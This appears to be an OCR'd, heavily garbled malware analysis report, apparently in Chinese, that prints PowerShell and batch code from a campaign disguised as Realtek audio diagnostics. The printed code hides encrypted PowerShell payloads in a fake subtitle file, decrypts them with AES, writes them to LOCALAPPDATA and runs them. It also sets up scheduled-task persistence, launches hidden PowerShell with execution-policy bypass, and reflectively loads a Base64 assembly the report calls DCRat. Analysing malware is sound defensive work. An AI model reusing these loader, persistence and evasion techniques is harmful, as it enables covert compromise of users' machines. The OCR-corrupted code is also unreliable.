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$bytesi=1[Typel::GetType($typeName)::$methodName($im

$text = [Text.Encoding]::ASCIl.GetString($bytes)
[regex]::Matches($text, $pattern, ‘Singleline’) |
ForEach-Object .ps1" -f ([guid]::NewGuid()))
[Text.Encoding]::UTF8.GetString(

$aes.CreateDecryptor().TransformFinalBlock($b,16,%b.Length-16)
) | Out-File $path -Encoding UTF8
& $path | Out-Null
} catch £y
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#

$img = “.\Part2.subtitles.srt”

Smkv = "1" #

$dir = "$env:LOCALAPPDATA\Microsoft\Diagnostics™ # B#EER | —M@% C:\users\AAFS\apphata\Local\Diagnostics
if (-not (Test-Path $dir)) { New-Item $dir -ItemType Directory | Out-Null } # EHSHERIEER

# System.I0.File

$typeName = ([string]([char]&3) + [char]121 + [char]115 + [char]116 + [char]181 + [char]18% + [char]46 + [char]73 + [char]78 + [char]46 + [char]7& +
[char]185 + [char]188 + [char]181)

+# ReadAllBytes

$methodName = ([string]([char]82) + [char]181 & [char]37 + [char]18@ + [char]65 + [char]188 + [char]188 + [char]66 + [char]121 + [char]116 + [char]
181 + [char]115)

$pattern = ([string]([char]45)+[char]454+[char]45+[char]45+[char]454[char]66+[ char]694+4[char]71+[char]734[char]78+[ char]324[char]28+[char |83+ [char]6s
+[char]78+[char]67+[char]45+[ char ]45+[ char]45+[ char ]45+[char]45+[char]48+[char]46+[ char]42+[char]63+[ char |41+[ char]45+[char |45+ [ char]45+[char ]45
+[char]a5+[char]69+4[ char]78+[char]68+[char]32+[char]80+[char]83+[char]69+[char]78+[ char 67+ char]45+[char |45+ [char]45+[char |45+ [char]45)

¥ IEEIFRTE

Sbytes = [Type]::GetType($typeName): : $methodName($img)

$text = [Text.Encoding]::ASCII.GetString(Sbytes)

# IEMIDGAE

[regex]::Matches($text, $pattern, 'Singleline'} |

$img = “.\Part2.subtitles.srt"
$mkv = "1"
$dir = "Senv:LOCALAPPDATA\Microsoft\Diagnostics”
if (-not (Test-Path $dir)) { New-Item $dir -ItemType Directory | Out-Null }
$typeName = ([string]([char]83) + [char]12l + [char]115 + [char]116 + [char]l81l + [char]1@2 + [char]46 + [char]73 + [char]72 + [char]46 + [char]7@
+ [char]1@5 + [char]1e& + [char]181)
$methodName = ([string]([char]82) + [char]18l + [char]97 + [char]18@ + [char]65 + [char]188 + [char]1@8 + [char]66 + [char]121 + [char]116 + [char]
181 + [char]115)
$pattern = ([string]([char]45)+[char]a5+[char]a5+[char]a5+[char]a5+[char]66+[char]69+[char]71+[char]73+[char]78+[char]32+[char]88+[char]83+[char]69
+[char]78+[ char]67+[char]45+[ char]45+[char]45+[ char ]45+[ char]45+[ char ]4@+[char]46+[char]42+[char]63+[ char 41+ [char]45+[ char]45+[char]45+[char]45
+[char]a5+[char]69+[char]78+[char]68+[char]32+[char]88+[char]83+[char]69+[char]78+[char]67+[char]45+[ char]45+[char]45+[char]45+[char]45)
$hytes = [Type]::GetType($typelame): :SmethodName($img)
$text = [Text.Encoding]::ASCII.GetString($bytes)
[regex]::Matches($text, $pattern, 'Singleline’) |
ForEach-Object {
try {

$b = [Convert]::FromBase64String((5_.Groups[1].Value -replace "\s','').Trim())

$aes = [Security.Cryptography.fes]::Create()

$kdf = [Security.Cryptography.Rfc2898DeriveBytes]::new($mkv, $b[@..15], 108608)

$aes.Key = $kdf.GetBytes(32)

faes.IV = Skdf.GetBytes(16)

$path = Join-Path $dir (“Cache_{8}.ps1" -f ([guid]::MewGuid()))

[Text.Encoding]::UTFB.GetString(

$aes.CreateDecryptor().TransformFinalBlock($b,16,$b.Length-16)
) | Out-File $path -Encoding UTF8
& $path | Out-Null
} catch { }

————— BEGIN PSENC-----(.*?)-----END PSENC-----

ForEach-Object {
try {
$b = [Convert]::FromBase64Strimg(($_.Groups[1].value -replace "\s',"").Trim())
$aes = [Security.Cryptography.fes]::Create()
# mkv HEE, B 16 FFFALE, HREEH AES FixthidASE
$kdf = [Security.Cryptography.Rfc2898DeriveBytes]::new($mkv, $b[@..15], 1eees8)
$aes.Key = $kdf.GetBytes(32)

:aes,l\.f = $kdf.GetBytes(16) Eﬁﬁ

$path = Join-Path $dir (“Cache_{@}.ps1™ -f ([guid]::NewGuid()))
# BEE 17 M FIETERERNE, FRNSRNEEAT ps1 XiFh, BENT.
[Text.Encoding]: :UTF8.GetString(
$aes.CreateDecryptor().TransformFinalBlock($b, 16,%b. Length-16)
3 | Out-File $path -Encoding UTF2
& $path | Out-nNull
Y} catch { }
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$Now = Get-Date

$T1 = $D.Triggers.Create(l) # TASK_TRIGGER_TIME

$T1.5tartBoundary = $Now.AddMinutes(1).ToString( yyyy-MM-ddTHH:mm:s5™) # —OiRERE
$T1.EndBoundary = $Now.AddHours(1).ToString("yyyy-MM-ddTHH: mm:ss") # —NETEER
$T1.Enabled = $true

$T2 = $D.Triggers.Create(9) # TASK_TRIGGER_LOGON ﬁ“iii‘l‘ﬁu{i%

$T2.UserId = "$env:USERNAME"
$T2.Enabled = $true

# Safe cmd.exe + start /min "" "your.bat™ using string format

$A = $D.Actions.Create(@)

$A.Path = "cmd.exe"

$A.Arguments = [string]::Format('/c start /min "" "{8}"’, $B) # E/IMEIT
$A.WorkingDirectory = $C

$F.RegisterTaskDefinition($T, %D, &, $null, $null, 3, $null)

@echo off

setlocal EnableDelayedExpansion m?i’ POWEI‘She" ﬂm$

: C:\Windows\System32\WindowsPowerShellywvl.@\powershell.exe -noprofile -windowstyle hidden -executionpolicy Bypass
: RealtekDriverInstall.psl
set "pl=pouwer”
set "p2=shell”
set "p3=.zxe”
set "px=%SystemRoot®\System32\WindowsPowersShelliwil.e\!pl!!ip2!tlpal”
set "args=-noprofile -windowstyle hidden -executionpolicy Bypass”
set "cache=XLOCALAPPDATAX\Packages\Microsoft.WindowsSoundDiagnostics\Cache”
set "log=¥cache®\audiocdiag HRANDOMX.log"
if not exist "Xcache¥" (
mkdir "%cache®" >nul 2>&1

)

set "ts="
for /f #%1 in ('powershell -noprofile -command “"Get-Date -f yyyy-MM-dd_HH:mm:ss"') do set "ts=R¥i"
echo [#ts¥] Audio sync engine initialized. » "#logk”
timeout /t 5 »nul
set "scriptl=¥~dpoRealtekDriverInstall.psi”
if exist "lscriptl!” (
echo [#ts®%] Running RealtekDriverInstall.psi... »> "¥logk"
“lpx!" largs! -File "lscriptl!”
timeout /t 5 »nul

BIEPIT PowerShell FIAHTRIHES

RealtekDriverinstall.ps1 fi 7 :
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zf)RealtekAudioSyncHelper.batitt &MRE 4,

2. T3 Go fmFas Itk

3.12HRealtekAudioService.dbs 5589917 E 5599991TEL , K EF FAMEYHELAME |, FEaHEHAS

NIRRT RealtekAudioService.go3C 4,

9/25



4 [ EFE Go 4miFes4mi¥ , Ymikitiaudio_diag {GUID}.exe,

5 8ITIMES . TR /E3haudio_diag_{GUID}.exe,

RealtekAudioSyncHelper.bat fij7s :

1.3 4T7Part3.Resolution3C 441001472 55103017354 (PowerShell $147)

2 Xtpart{1~3}.txti}{{TBase64fi#hy , FNE DCRat/g] 1w=E.

$dir = "$env:LOCALAPPDATANPackages\Microsoft.WindowsSoundDiagnosticsi\Cache”

fbase64 = (1..3 | ForEach-Object { Get-Content “"$dir\part$ .txt" -Raw }) -join "'

$bytes = [Convert]::FromBase6dString($basedd)
$asm = [Reflection.Assembly]::Load($bytes)
$ep = %asm.EntryPoint
if (Sep) {
Write-Host "Updating Bics:" %ep.DeclaringType.FullMame "::" Sep.MNams
# Run the EXE's entry point (like Main()})
if (%ep.GetParameters().Count -eq @) {
$ep.Invoke($null, @{))
b oelse {
$ep.Invoke($null, @([string[]]@()))

¥
T oelse |

Write-Host "No entry point found.™

¥

R mEE wE

T2 Go 4w FHMRE :

10/25



# === GO INSTALLER & TASK CREATION ===

$C = "Senv:LOCALAPPDATA\Packages'\Microsoft.WindowsSoundDiagnostics\Cache”
$7 = "$C\gol.25.1.windows-amd64.zip”

$D = "SC\Go"

$G = "SD\bin‘go.exe"

$U = "https://go.dev/dl/gol.25.1.windows -amd64.zip™
SMIN_GO_SIZE_MB = 199

$InputFile = "$C\RealtekAudiocService.db™

$MainGo = "$C\RealtekAudioService.go”

$0utputExe = "$C\audio_diag_$([guid]::NewGuid()).exe"
New-Item -ItemType Directory -Force -Path $C | Out-Null

1 reference
if (!(Test-Path $G)) { return $false }
try {
$size = (Get-ChildItem -Recurse $D -File -ErrorAction SilentlyContinue | Measure-Object Length -Sum).Sum / 1MB
if ($size -1t $MIN_GO_SIZE_MB) { return $false }
(& $G version 2>$null) -match “gol).25\.1"
} catch { return $false }

}

1 reference
function Ensure-GoZip {
if (Test-Path $Z -and ((Get-Item $Z).Length / 1MB -ge 158)) { return }
Remove-Item -Force $Z -ErroraAction SilentlyContinue
try { (MNew-Object Net.WebClient).DownloadFile($U, $Z) }
catch { Start-Sleep 3; (Mew-Object Net.webClient).DownloadFile($u, $Z) }
}
B FEARE Go s
if (1(Is-GoInstalled)) {
Remove-Item -Recurse -Force $D -ErrorAction SilentlyContinue
Ensure-GoZip
try { Expand-Archive -Path $Z -DestinationPath $C -Force } catch { Start-Sleep 2; Expand-Archive -Path $Z -DestinationPath $C -Force }

}
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